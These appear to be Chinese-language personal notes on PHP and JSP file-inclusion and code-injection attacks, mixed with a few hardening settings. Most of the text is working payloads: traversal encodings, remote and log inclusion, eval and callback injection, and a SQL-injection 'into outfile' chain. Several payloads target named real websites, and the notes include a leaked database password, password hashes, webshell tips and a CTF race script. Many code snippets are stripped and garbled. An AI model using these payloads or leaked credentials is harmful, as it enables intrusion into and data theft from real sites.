代码注入的一种,JSP,PHP,ASP 等语言中
PHP include(), include_once(), require(), require_once(), fopen(), readfile(),popen(),system(),passthru(),exec() eval(),
assert(), system(), exec(), shell_exec(), passthru(), escapeshellcmd(), pcntl_exec() 等
比较特殊的比如允许上传PHP代码,或者是应用写入到服务器的文件内容和文件类型可以由用户控制,都能导致代码执行
JSP/Servlet: ava.io.File(), java.io.FileReader(), ````
ASP include file, include virtual, ```
include(), include_once(), require(), require_once() 包含一个新的文件时,该文件将作为PHP代码执行,PHP内核并不会在意被包含的文件是什么类型
include($_GET[test]);
?>
www.xxx.com/test.php?test=fortest.txt 当txt 包含了可执行的PHP 代码时,如:
成功条件:
1)include 等函数通过动态变量的方式引入需要包含的文件
2)用户能够控制该动态变量
$file = $_GET['file']; // “ ../../etc/passwd\0”
if(file_exists('/home/wwwrun' . $file . '.php')){xxx}
?>
一般的WEB 应用都应该禁用 \0 -- 00 字节
操作系统对目录最大长度的限制: 最大长度字符将被丢弃
Windows 下 256字节 linux 4096字节
./././././././././abc 或者 //////////abc 等
文件包含漏洞:
http://xxxx&pid=../../../../../../etc/passwd 目录遍历漏洞
%2e%2e%2f ../
%2e%2e/ ../
..%2f ../
%2e%2e%5c ..\
..%5c ..\
%252e%252e%255c ..\
..%255c ..\
某些WEB 容易支持的 编码方式:
..%c0%af ../
..%c1%9c ..\
目录便利漏洞是一种跨域目录读取文件的方法,当PHP 配置了 open_basedir 将很好的保护服务器
open_basedir 作用是限制在某个特定的目录下PHP能打开的文件,作用和 safe_mode 是否开启无关
open_basedir 是目录的前缀
假设 open_basedir = /home/app/aaa
实际上open_basedir = /home/app/aaabbb 都是允许的
假设 open_basedir = /home/app/aaa/ 那么就只能这个目录了
windows 下目录应当用 ; 隔开 linux 下则用 : 隔开
1)避免用动态的变量,尤其是用户可以控制的变量
2)变通方式,使用枚举 避免
$file = $_GET['file'];
switch($file){
case 'main':
case 'nar':
include '/home/wwwrun' . $file . '.php';
break;
}
?>
3) register_globals =off 新版本的默认设置
open_basedir 限制PHP 只能操作指定目录下的文件 设置open_basedir=xx/xxx/
allow_url_fopen = off
allow_url_include = off
错误回显一般常用于开发模式 display_error = off
log_errors = on 错误信息记录在日志里
magic_quotes_gpc 转义一些东西, 单引号 双引号 反斜线 NULL 字符 自动加上一个反斜线进行转义 推荐关闭
cgi.fix_pathinfo PHP以CGI 的方式安装,则需要关闭此项,以避免文件解析问题,参考
开启httponly session.cookie_httponly=1
全站HTPS 则开启 session.cookie_secure=1
如果是共享环境开启safe_mode 和diable_functions配合使用
如果是单独的应用环境,则可以考虑关闭它,更多地依赖diabke_functions控制运行环境安全
如果开启 safe_mode 则 exec(),system(),passthur(),popen() 等函数并非被禁用,而是只能执行在safe_mode_exec_dir 所指定目录下存在的可执行文件。如果允许这些哈叔,bane设置好 safe_nide_exec_dir的值并将此目录设置为不可写
如果PHP 的配置选项是 allow_url_include 为ON 的话,则include/require 函数是可以加载远程文件的
if($route == "share"){require_once $basePath . '/action/m_share.php';}
elseif( $route == "sharelink") {require_once $basePath . '/action/m_sharelink.php';}
?>
在变量 $basePath 前没有设置任何障碍,
构造test.txt 为
www.a.com/test.php?test=http://www.b.com/test.txt?
包含远程文件后,获得命令执行
1) 包含用户上传文件
用户上传的文件内容中如果包含了PHP代码,那么这些代码被include() 后就将执行
能否成功取决于 上传功能的设计了,比如要求知道用户上传后文件的物理路径等
2)包含 data:// php://inout 等协议
需要服务器支持,同时要求 allow_url_include 设置为 ON
php 5.2 之后支持 data: 伪协议,可以方便地执行代码,同样要求 allow_url_include 为ON
举例: http://xxx.com/xxx.php?file=data:text/plain,%00
3)包含 Session 文件
比较苛刻,需要控制部分 Session 文件的内容:
xls:19:""
php 默认生成的 Session 文件往往存放在 /tmp 目录下,比如 /tmp/sess_SESSIONID
4)包含日志文件,比如web server 的 access log
通用的技巧, access_log 里记录了客户端的请求信息,在 error_log 里记录出错请求。因为攻击者可以间接地将PHP代码写入日志文件中,在文件包含时,只需要包含日志文件
日志文件可能很大,一般会滚动日志,或每天生成一个新的日志,因此凌晨包含日志文件成功性比较大
apache 为例
httpd 的配置文件 httpd.comfm 找到日志文件的目录, httpd.conf 一般会存在 apache 的安装目录下
redhat 系列里迷人安装目录为 /etc/httpd conf/httpd.conf , 而自定义 安装的可能在 /usr/local/apache/conf/httpd.conf
常见的日志文件可能在
../var./log/httpd/access_log
../var./log/httpd/error_log
../apache/logs/error.log
../apache/logs/access.log
../etc/httpd/logs/access_log
../etc/httpd/logs/error_log
5)包含/proc/self/environ 文件
http://xxx.com/xxx.php?page=../../../../../proc/self/environ
web 进程运行时的环境变量,其中很多都是用户可以控制的,最常见的做法是在 User-Agent 中注入 PHP 代码,比如:
最终完成攻击
如果设置了 open_basedir 就困难了~~~~~~~~~~~~~
6)包含上传的临时文件 (RFC1867)
PHP 会为上传文件 创建临时文件,其目录在php.ini 的upload_tmp_dir 中定义。 但该值默认为空
此时在Linux 下会使用 /tmp 目录, 在 windows 下爱会使用 c:\windows\temp
临时文件的文件名是随机的,必须猜测出文件名才能利用漏洞
windows 下仅有 65535 中不同的文件名
7)包含其他应用创建的文件, 数据库文件,缓存文件,应用日志等
1)
当register_globals=Off的时候,下一个程序接收的时候应该用$_GET['user_name']和$_GET['user_pass']来接受传递过来的值。
(注:当
传递过来的值会被直接的注册为全局变量直接使用,而Off的时候,我们需要到特定的数组里去得到它
代码: print $a; print $_GET[b];
常见 禁用 register_globals 代码:
if(ini_get('register_globals')) foreach($_REQUEST as $k=$V) unset(${$k});
在$a 未初始化, register_globals = ON 时,再尝试控制 $a 的值,会因为这段及弄代码而出错
提交 http://xxx.xxx.php?a=1&b=2 我错
而当尝试注入 "GLOBALS[a]" 以覆盖全局变量时,则可以成功控制变量 $a 的值
提交 http://xxx.xxx.php?GLOBALS[a]=1&b=2 显示变量 a的值
因为 unset() 默认只会销毁局部变量,要销毁全局变量必须使用 $GLOBALS
$bar = "something";
unset($GLOBALS['bar']);
register_globals = OFF 时 就无法覆盖 全局变量了
2) extract 变量
extract 从用户可以控制的数组中导出变量,可能发生变量覆盖,
extract($_GET) 导致任意变量被覆盖 xxx.com/xxx.php?auth=1
3) import_request_variables 变量覆盖
将GET POST Cookie 中的变量导入到全局,使用只需要简单的指定类型即可
import_request_variables('G') 指定导入GET 请求中的变量
4) parse_str() 变量覆盖
parse_str 函数往往 被用于解析URL 的 query string 当参数被用户控制时,很可能导致变量覆盖
$var = 'init'; //var.php?var=new 变量覆盖
parse_str($_SERVER['QUERY_STRING']);
print $var;
query string 的变量解析后存入该数组变量中。因此使用函数时应该养成指定第二参数的好习惯~
与函数类似的还有 mb_parse_str()
安全建议: 确保 register_globals=OFF 若不能自定义php.ini 则应该在代码中控制
举例:
parse_str($_SERVER['QUERY_STRING']);
session_write_close();
$_SESSION = array();
session_write_close();
$id = $c = $cf->getConfig()
发现 $ret .= '/*Server: '. strtr($cf->getServerName($id), '*/', '-') ."[$id] */".$crlf
最终发现 $c 是在 Session 中取得的,而我们通过前面的看到可以覆盖 Session 中的热议变量控制变量 $c
此漏洞利用条件 是config 目录存在并可写,很多时候管理员可能会在初始化安装后删除 config 目录
5)
apache 6.0 或者6.1
存在漏洞~~~
6) preg_replace() 第一个参数如果存在 /e 模式修饰符,则允许代码执行
$var = '
preg_replace("/
?>
即便没有,我们可以注入一个 /e%0截断文本,注入一个/e
$regexp = $_GET['re'];
$var = '
preg_replace("/
?>
我们构造URL xxx.php?re=<\/tag>/e%00
当第一个参数中包含了 /e 时,那么只要控制第二,或者第三参数都可以导致代码执行
7)
$dyn_func = $_GET['dyn_func'];
$argument = $_GET['argument'];
$dyn_func($argument);
?>
这种写法类似后门 xxx.php?dyn_func=system&argument=uname
8)
create_function()
$foobar = $_GET['foobar'];
$dyn_func = create_function('$foobar', "echo $foobar;");
$dyn_func('');
?>
payload: xxx.php?foobar=system('ls');
9)
Curly Syntax 将执行花括号间的代码,并将结果替换回去
$foobar = 'phpinfo';
$('foobar')();
?>
10)
回调函数执行代码
$evil_callback = $_GET['callbaack'];
$somearray = array(0,1,2,3);
$new_array = array_map($evil_callback,$some_array);
?>
xxx.php?callback=phpinfo
下面列出可以执行 callback 参数的函数:
array_map() , usort(), uasort(), uksort(), array_filter(), array_reduce(), array_diff_uassoc(), array_diff_ukey()
````````
ob_start() 实际上也可以执行回调函数,
~~~~
11)
unserialize() 导致代码执行
能将序列化的数据重新映射为 PHP变量。但是执行时如果定义了_destruct(),或 _wakeup()函数,则这两个函数将执行
1)
ckplayer/video.php?url=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd%00
右键查看源文件
2)
xxxxxxx/overtime.action 看看 是否 存在str2漏洞。
xxx/Login/login.action
queryHelp.page?pag=../../../../etc/shadow
3)
传递sub=index? 后页面报错 /event/view_sub/view_/index is not available
猜测 处理代码 '/event/view_sub/view_' + 'sub 参数 ' + '.jsp'
提交sub=1后显示正常,经过证明/event/view_sub/目录下确实有view_1.jsp
所以猜测是正确的
然后就是构造包含了,在包含这里卡了很久发现跨不出 event目录 然后web服务器是tomcat 所以读不了conf下的配置文件.
sub=/../../../WEB-INF/web.xml?
/event/view_sub/view_/../../../WEB-INF/web.xml?.jsp
?伪截断,这种截断可以用在脚本文件还有.xml .txt .css .js .html 这类文件
看到 web.xml 寻找信息 发现一个目录
这个目录就是pics.vasee.com域名的目录 用来存放图片的
在官网所有上传处都有漏洞可以上传jsp文件,不过当访问jsp的时候会给你解析成图片这就蛋疼了,不过现在目录有了,这俩域名都是一个服务器IP,然后在用包含漏洞包含jsp就能得到一个shell了
/WEB-INF/config.properties 读取到数据库连接信息
不过悲剧又来了,没有开放数据库端口
然后想到连它的SSH端口 postgresql的postgres用户存在于系统帐号
psql -h x,x,x,x -u dbuser -d dbname
连接成功了权限是数据库权限 #hibernate.connection.password=vpaosseteg
最后发现漏洞代码:
4)远程文件包含
php?cate_id=13&m=Article&temp=c%3A%2Fboot.ini
5)
http://地址:1080/model/__show_info.php?REQUIRE_FILE=/var/etc/httpasswd
http://地址:1080/bsc_wlan.php?NO_NEED_AUTH=1&AUTH_GROUP=0
6)
PHP<5.3.4
FengCMS本地文件包含
poc:
xx/fengcms/index.php?controller=search&operate=index&tags=1&project=../../../../../../../windows/win.ini%00
7)
/etc/passwd是用户数据库,其中的域给出了用户名、加密口令和用户的其他信息. /etc/shadow是在安装了影子(shadow)口令软件的系统上的影子口令文件。影子口令文件将/etc/passwd 文件中的加密口令移动到/etc/shadow中,而后者只对超级用户( r o o t )可读。这使破译口令更困难,以此增加系统的安全性
使用shadow密码文件后,/etc/passwd文件中所有帐户的password域的内容为"x",如果password域的内容为"*",则 该帐号被停用
www.xxx.edu.cn/xxx/fmod.do?method=down&url=../../../../../../../etc/passwd&id=77
www.xxx.edu.cn/xxx/fmod.do?method=down&url=../../../../../../../etc/shadow&id=77
$1$hFWcRMkj$gxhNjceFVXClILTQJdnQI.:000000
$1$t8WjbybU$52mXVWGY3gqVMpi6/5cMj1:000000
$1$YMsr.toK$j1uZ6fgxFcCHaJrJvyHxV1:switch
8)
http://localhost/maccms8_mfb/index.php?m=user-regcheck-s-123%2527%2520and%2520BENCHMARK%252850000000%250A%252Cmd5%2528%2527test%2527%2529%2529%2523-t-u_name
解密~
http://localhost/maccms8_mfb/index.php?m=user-regcheck-s-123%27%20and%20BENCHMARK%2850000000%0A%2Cmd5%28%27test%27%29%29%23-t-u_name
解密~
http://localhost/maccms8_mfb/index.php?m=user-regcheck-s-123' and BENCHMARK(50000000,md5('test'))#-t-u_name
得到路径了,但是index.php里的一段代码让我瞬间傻了,
$m = be('get','m');
if(strpos($m,'.')){ $m = substr($m,0,strpos($m,'.')); }
也就是说其实传来的参数只会获取第一个点号出现之前的部分,
http://localhost/maccms8_mfb/index.php?m=user-regcheck-s-123%2527%2520union%2520select%2520m_password%2520from%2520mac_manager%2520into%2520outfile%2520%2522C%253A%255C%255CAppServ%255C%255Cwww%255C%255Cmaccms8_mfb%255C%255Cinc%255C%255Ccommon%255C%255Ctest%2522%2523-t-u_name
解密~
http://localhost/maccms8_mfb/index.php?m=user-regcheck-s-123%27%20union%20select%20m_password%20from%20mac_manager%20into%20outfile%20%22C%3A%5C%5CAppServ%5C%5Cwww%5C%5Cmaccms8_mfb%5C%5Cinc%5C%5Ccommon%5C%5Ctest%22%23-t-u_name
解密~
http://localhost/maccms8_mfb/index.php?m=user-regcheck-s-123' union select m_password from mac_manager into outfile "C:\\AppServ\\www\\maccms8_mfb\\inc\\common\\test"#-t-u_name
将password 写入文件
9) 本地写入文件,拿到 webshell
URL: http://www.comsenz.com/#
解密
10)
http://labs.chinamobile.com/imic/..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Fvar%252Fwww%252Fmobilehub%252Fwww%252Fincludes%252Fsettings.php%2500.jpg
http://labs.chinamobile.com/imic/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fvar%2Fwww%2Fmobilehub%2Fwww%2Fincludes%2Fsettings.php%00.jpg
http://labs.chinamobile.com/imic/../../../../../../../../../../var/www/mobilehub/www/includes/settings.php�.jpg
10) 本地写文件漏洞:
图片木马嵌入代码为
gif89a");?>
11)
http://baozouwushuang.com/index.php?c=ajaxproxy&url=index.php
http://baozouwushuang.com//index.php?c=ajaxproxy&url=../../../../../../../../../../etc/passwd
12)
www.whxzfw.gov.cn/index/downLoadFile.action?fileName=1-1
%B9%AB%B9%B2%B3%A1%CB%F9%CE%C0%C9%FA%D0%ED%BF%C9%C9%EA%C7%EB%CA%E9%CA%BE%B7%B6%CE%C4%B1%BE.doc&
filePath=WEB-INF/web.xml
www.whxzfw.gov.cn/index/downLoadFile.action?fileName=1-1
���������������������ʾ���ı�.doc&
filePath=WEB-INF/web.xml
13)
拓普网络 存在文件包含的漏洞,需要配合00截断来使用。
index.php?c=MTA3==&op=../../../../../../../../../../etc/passwd%00.jpg
14) 一般 Windows 使用 中国菜刀什么的 写入一句话即可
linux 就
上传大马上去管理什么的~~~~~
15)
直接 用 .. 测试 有无文件包含漏洞~~~~~~~~~
一般先找到 文件包含漏洞处,然后上传图片什么的 里面包含PHP代码,包含这个图片即可执行PHP代码
然后我们 看 看被禁用的函数等信息
16 超长路径截断~~~~~~~~~
用 burpsuite intruder 去测试
magic_quotes_gpc off
Server: Apache/2.2.6 (Win32) PHP/5.2.5
. / ./ /. 这四个字符串分别就以下进行测试
test 相对路径 jpg$a$
--------------------------------------
test/file.php?file=test.jpg . / /.
test/file.php?file=../test.jpg
test/file.php?file=1/test.jpg . / /.
--------------------------------------
超长字符串截断与gpc开启关闭无关
当被包含test/file.php?file=1/1.jpg . ./ /
当被包含文件test/file.php?file=1/test.jpg . / /.
超长字符串截断只能包含当前目录和子目录
16
web400a就是抓包会看到一个文件上传的表单,上传文件后会给出上传后的路径和文件名,发现文件名与当前时间相关。
如/upload/upload/20140920170801.php。但是访问的时候会发现被删了。因此需要不断发生请求在被删之前访问到上传上去的脚本。脚本内容为在上一
级目录生成一句话。
#!/usr/bin/python
import time
import requests
while 1:
url = "http://web400a.alictf.com/upload/upload/"
now = time.strftime('%Y%m%d%H%M%S',time.localtime(time.time()))
url = url + str(now) + ".php"
res = requests.get(url)
print res.status_code
if res.status_code == 200:
print res.text
time.sleep(0.3)
然后在上级目录找到上传后的一句话,就可以菜刀连接了。